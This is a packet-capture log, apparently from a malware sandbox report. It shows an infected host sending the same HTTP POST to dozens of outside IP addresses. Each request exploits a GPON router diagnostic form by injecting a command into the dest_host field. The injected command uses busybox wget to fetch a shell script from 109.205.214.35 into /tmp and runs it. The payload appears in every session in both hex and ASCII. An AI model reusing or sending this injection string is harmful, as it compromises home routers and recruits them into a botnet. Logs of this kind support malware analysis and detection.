Mar 21, 2024 05:23:33.821743965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1861	192.168.2.13	47956	5.93.238.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821867943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1862	192.168.2.13	51502	5.48.102.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821897030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1863	192.168.2.13	52226	109.77.28.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821907997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1864	192.168.2.13	43250	118.175.62.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821930885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1865	192.168.2.13	49686	118.209.10.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824492931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1866	192.168.2.13	52388	118.182.61.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824542999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1867	192.168.2.13	35172	42.255.151.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824544907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1868	192.168.2.13	40960	118.81.80.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824570894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1869	192.168.2.13	36220	109.176.201.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824584961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1870	192.168.2.13	59536	42.233.110.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824630022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1871	192.168.2.13	55912	109.210.177.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824631929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1872	192.168.2.13	50744	109.3.134.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824687004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1873	192.168.2.13	53750	109.111.195.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824688911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1874	192.168.2.13	51600	109.148.229.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824716091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1875	192.168.2.13	40474	109.12.243.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824723005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1876	192.168.2.13	55574	5.231.216.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824760914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1877	192.168.2.13	47344	42.130.179.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824788094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1878	192.168.2.13	47104	5.86.194.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824811935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1879	192.168.2.13	56986	5.132.84.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824814081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1880	192.168.2.13	51976	212.223.174.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824889898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1881	192.168.2.13	41680	42.97.233.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824889898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1882	192.168.2.13	36566	118.193.24.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824903965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1883	192.168.2.13	60156	5.52.90.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.824924946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1884	192.168.2.13	39248	42.33.32.186	443

Timestamp	Bytes transferred	Direction	Data
